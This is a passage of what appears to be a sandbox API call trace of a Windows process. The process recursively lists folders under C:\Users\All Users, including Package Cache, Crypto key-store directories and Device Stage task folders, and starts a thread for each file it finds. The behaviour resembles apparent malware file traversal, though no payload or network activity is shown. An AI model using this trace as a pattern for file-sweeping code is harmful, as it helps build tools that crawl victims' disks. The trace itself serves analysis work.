_Dest=0x2fc4df0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\" [0174.875] wcscat (in: _Dest=0x2fc4df0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*" [0174.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c8d8 [0174.875] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045868 [0174.876] wcscmp (_String1=".", _String2=".") returned 0 [0174.876] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.876] wcscmp (_String1="..", _String2=".") returned 1 [0174.876] wcscmp (_String1="..", _String2="..") returned 0 [0174.876] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.876] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0174.876] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0174.876] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.876] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1 [0174.876] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1 [0174.876] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.876] FindClose (in: hFindFile=0x3045868 | out: hFindFile=0x3045868) returned 1 [0174.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c8d8) returned 1 [0174.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4df0) returned 1 [0174.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4940) returned 1 [0174.876] RtlExitUserThread (Status=0x0) Thread: id = 2307 os_tid = 0xe2c [0174.880] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013080 [0174.880] wcscpy (in: _Dest=0x3013080, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK" [0174.880] wcscat (in: _Dest=0x3013080, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\" [0174.880] wcscat (in: _Dest=0x3013080, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*" [0174.880] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c8d8 [0174.880] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*", lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0174.880] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c8d8) returned 1 [0174.880] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013080) returned 1 [0174.880] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0174.880] RtlExitUserThread (Status=0x0) Thread: id = 2308 os_tid = 0x59c [0174.881] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x3013080 [0174.881] wcscpy (in: _Dest=0x3013080, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" [0174.881] wcscat (in: _Dest=0x3013080, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\" [0174.882] wcscat (in: _Dest=0x3013080, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*" [0174.882] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c8d8 [0174.882] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045868 [0174.883] wcscmp (_String1=".", _String2=".") returned 0 [0174.883] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.883] wcscmp (_String1="..", _String2=".") returned 1 [0174.883] wcscmp (_String1="..", _String2="..") returned 0 [0174.883] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0174.883] FindClose (in: hFindFile=0x3045868 | out: hFindFile=0x3045868) returned 1 [0174.883] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c8d8) returned 1 [0174.883] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013080) returned 1 [0174.883] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057520) returned 1 [0174.883] RtlExitUserThread (Status=0x0) Thread: id = 2309 os_tid = 0xaf0 [0174.886] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x30561c0 [0174.886] wcscpy (in: _Dest=0x30561c0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0174.886] wcscat (in: _Dest=0x30561c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0174.886] wcscat (in: _Dest=0x30561c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*" [0174.886] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c8d8 [0174.886] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045868 [0174.888] wcscmp (_String1=".", _String2=".") returned 0 [0174.888] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.888] wcscmp (_String1="..", _String2=".") returned 1 [0174.888] wcscmp (_String1="..", _String2="..") returned 0 [0174.888] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0174.888] wcscmp (_String1="en-US", _String2=".") returned 1 [0174.888] wcscmp (_String1="en-US", _String2="..") returned 1 [0174.888] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x2f9e730 [0174.888] wcscpy (in: _Dest=0x2f9e730, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0174.888] wcscat (in: _Dest=0x2f9e730, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0174.888] wcscat (in: _Dest=0x2f9e730, _Source="en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" [0175.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f9e730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0175.585] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0175.585] wcscmp (_String1="folder.ico", _String2=".") returned 1 [0175.585] wcscmp (_String1="folder.ico", _String2="..") returned 1 [0175.585] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0175.585] wcscmp (_String1="netfol.ico", _String2=".") returned 1 [0175.585] wcscmp (_String1="netfol.ico", _String2="..") returned 1 [0175.585] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0175.585] wcscmp (_String1="pictures.ico", _String2=".") returned 1 [0175.585] wcscmp (_String1="pictures.ico", _String2="..") returned 1 [0175.585] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49362917, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49362917, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49362917, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0175.585] wcscmp (_String1="resource.xml", _String2=".") returned 1 [0175.585] wcscmp (_String1="resource.xml", _String2="..") returned 1 [0175.585] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc6) returned 0x2fc3068 [0175.585] wcscpy (in: _Dest=0x2fc3068, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0175.585] wcscat (in: _Dest=0x2fc3068, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0175.585] wcscat (in: _Dest=0x2fc3068, _Source="resource.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" [0175.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc3068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0175.586] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0175.586] wcscmp (_String1="ringtones.ico", _String2=".") returned 1 [0175.586] wcscmp (_String1="ringtones.ico", _String2="..") returned 1 [0175.586] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0175.586] wcscmp (_String1="settings.ico", _String2=".") returned 1 [0175.586] wcscmp (_String1="settings.ico", _String2="..") returned 1 [0175.586] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0175.586] wcscmp (_String1="sync.ico", _String2=".") returned 1 [0175.586] wcscmp (_String1="sync.ico", _String2="..") returned 1 [0175.586] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2aff, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0175.586] wcscmp (_String1="tasks.xml", _String2=".") returned 1 [0175.586] wcscmp (_String1="tasks.xml", _String2="..") returned 1 [0175.586] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa7608 [0175.586] wcscpy (in: _Dest=0x2fa7608, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0175.586] wcscat (in: _Dest=0x2fa7608, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0175.586] wcscat (in: _Dest=0x2fa7608, _Source="tasks.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" [0175.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa7608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0175.587] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0175.587] wcscmp (_String1="wmp.ico", _String2=".") returned 1 [0175.587] wcscmp (_String1="wmp.ico", _String2="..") returned 1 [0175.587] FindNextFileW (in: hFindFile=0x3045868, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0175.587] FindClose (in: hFindFile=0x3045868 | out: hFindFile=0x3045868) returned 1 [0175.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c8d8) returned 1 [0175.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30561c0) returned 1 [0175.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056f68) returned 1 [0175.588] RtlExitUserThread (Status=0x0) Thread: id = 2310 os_tid = 0xb4c [0174.889] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x3056278 [0174.889] wcscpy (in: _Dest=0x3056278, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0174.889] wcscat (in: _Dest=0x3056278, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0174.889] wcscat (in: _Dest=0x3056278, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*" [0174.889] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9cda8 [0174.889] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30458a8 [0174.891] wcscmp (_String1=".", _String2=".") returned 0 [0174.891] FindNextFileW (in: hFindFile=0x30458a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, 